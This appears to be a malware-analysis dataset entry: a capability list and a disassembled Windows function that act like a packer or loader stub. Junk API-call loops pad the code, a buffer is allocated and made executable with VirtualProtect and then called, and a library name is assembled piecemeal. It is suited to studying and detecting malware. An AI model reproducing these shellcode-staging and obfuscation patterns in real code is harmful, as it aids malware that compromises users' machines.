Function at 0x800d80
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x25c0
call fcn.00408d50
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [esp + 0x10]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor esi, esi
cmp esi, 0x1e174
jge 0x800db6
push 0
push 0
call edi
call ebx
cmp esi, 0x1e9b1d96
jle 0x800dd0
cmp ebp, 0xc096a0
je 0x800dd0
cmp dword [esp + 0x68], 0x95f3220
jne 0x800dd9
inc esi
cmp esi, 0x98b86
jl 0x800da6
cmp dword [0x2658390], 0xcf8
jne 0x800e08
push 0
push 0
call fcn.004030a0
push 0
push 0
call fcn.0040310d
push 0
call fcn.004036bc
add esp, 0x14
push 0
call fcn.00403536
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
lea esp, [esp]
cmp esi, 0x408
jne 0x800e33
mov eax, 0x5d1
add dword [0x2658390], eax
cmp dword [0x2658390], 3
jne 0x800e52
push 0
call edi
push 0
push 0
call ebx
push 0
lea eax, [esp + 0x5d4]
push eax
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x800e20
mov ecx, dword [0x2658390]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x8244f4], eax
mov eax, dword [0x2658390]
xor esi, esi
test eax, eax
je 0x800f20
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
cmp eax, 0xfe
jne 0x800eef
push 0
call edi
push 0
call ebx
xor edx, edx
lea ecx, [esp + 0x18]
push ecx
push edx
push edx
lea eax, [esp + 0x5dc]
push eax
push edx
mov dword [esp + 0x28], edx
call ebp
push 0x402cbc
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
lea ecx, [esp + 0x30]
xor eax, eax
push ecx
lea edx, [esp + 0x60]
push edx
push 0x402cd8
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call fcn.00800ad0
mov eax, dword [0x2658390]
cmp eax, 0x29
jne 0x800f17
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov eax, dword [0x2658390]
inc esi
cmp esi, eax
jb 0x800e90
cmp eax, 0x70
jne 0x800fc5
push 0
lea eax, [esp + 0x5d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x402d8c
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call esi
call esi
push 0x402da0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea edx, [esp + 0xdd8]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
lea eax, [esp + 0x1d4]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call edi
push 0x402dbc
push 0x402dd8
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov eax, dword [0x2658390]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov dword [esp + 0x18], 0x9682ab
cmp eax, 3
jne 0x801018
push 0
lea ecx, [esp + 0x48]
push ecx
push 0
lea edx, [esp + 0x1dc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x2658390]
cmp eax, 0xdf
jne 0x8011f3
push 0x402df8
push 0
push 0
call ebp
push 0
call ebx
xor ecx, ecx
lea eax, [esp + 0x48]
push eax
push ecx
push ecx
lea edx, [esp + 0x1dc]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0x402e14
push 0x402e28
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push 0
push 0
push 0
call esi
lea eax, [esp + 0x4c]
push eax
call edi
push 0
push 0
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov edx, dword [esp + 0x20]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea eax, [esp + 0xdd4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x24]
push ecx
push 0
lea edx, [esp + 0x38]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0x402e48
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea eax, [esp + 0x2c]
push eax
call edi
lea ecx, [esp + 0x28]
push ecx
push 0x402e5c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea edx, [esp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea eax, [esp + 0x15d4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0x402e78
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x11d4]
push ecx
push 0x402e90
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0x1dd4]
push edx
push 0x402eb0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x5d4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
lea edx, [esp + 0x64]
push 0
push edx
mov dword [esp + 0x68], 0
call fcn.00407490
add esp, 0xc
push 0
lea eax, [esp + 0x60]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x2658390]
dec dword [esp + 0x18]
jne 0x800fe5
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
mov edi, edi
push 0
call edi
push 0
call ebx
dec esi
jne 0x801210
mov edx, dword [0x2658390]
mov eax, dword [0x8244f4]
lea ecx, [esp + 0x1c]
push ecx
push 0x40
push edx
push eax
mov byte [0x81f760], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00800d30
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
jmp 0x801250
cmp dword [0x2658390], 0xba
jne 0x801269
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x801276
call fcn.00800ab0
inc esi
cmp esi, 0x1605a
jl 0x801250
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov edi, 0xf2b8b
lea ebx, [ebx]
cmp dword [0x2658390], 0x21
jne 0x8012a3
push 0
push 0
push 0
push 0
call esi
dec edi
jne 0x801290
mov edx, 0x73
mov eax, 0x6d
mov word [0x26573a2], dx
mov word [0x26573a6], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x26573aa], cx
mov word [0x26573b6], ax
mov word [0x26573a8], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x26573a0
mov dword [0x26573b0], 0x6c0064
mov word [0x26573a4], ax
mov word [0x26573a0], cx
mov word [0x26573b4], dx
mov dword [0x26573ac], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x2658390], 0xc30
jne 0x801397
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push edi
lea edx, [esp + 0x20]
push edx
push edi
lea eax, [esp + 0x5dc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push edi
lea ecx, [esp + 0x1dd4]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x34]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret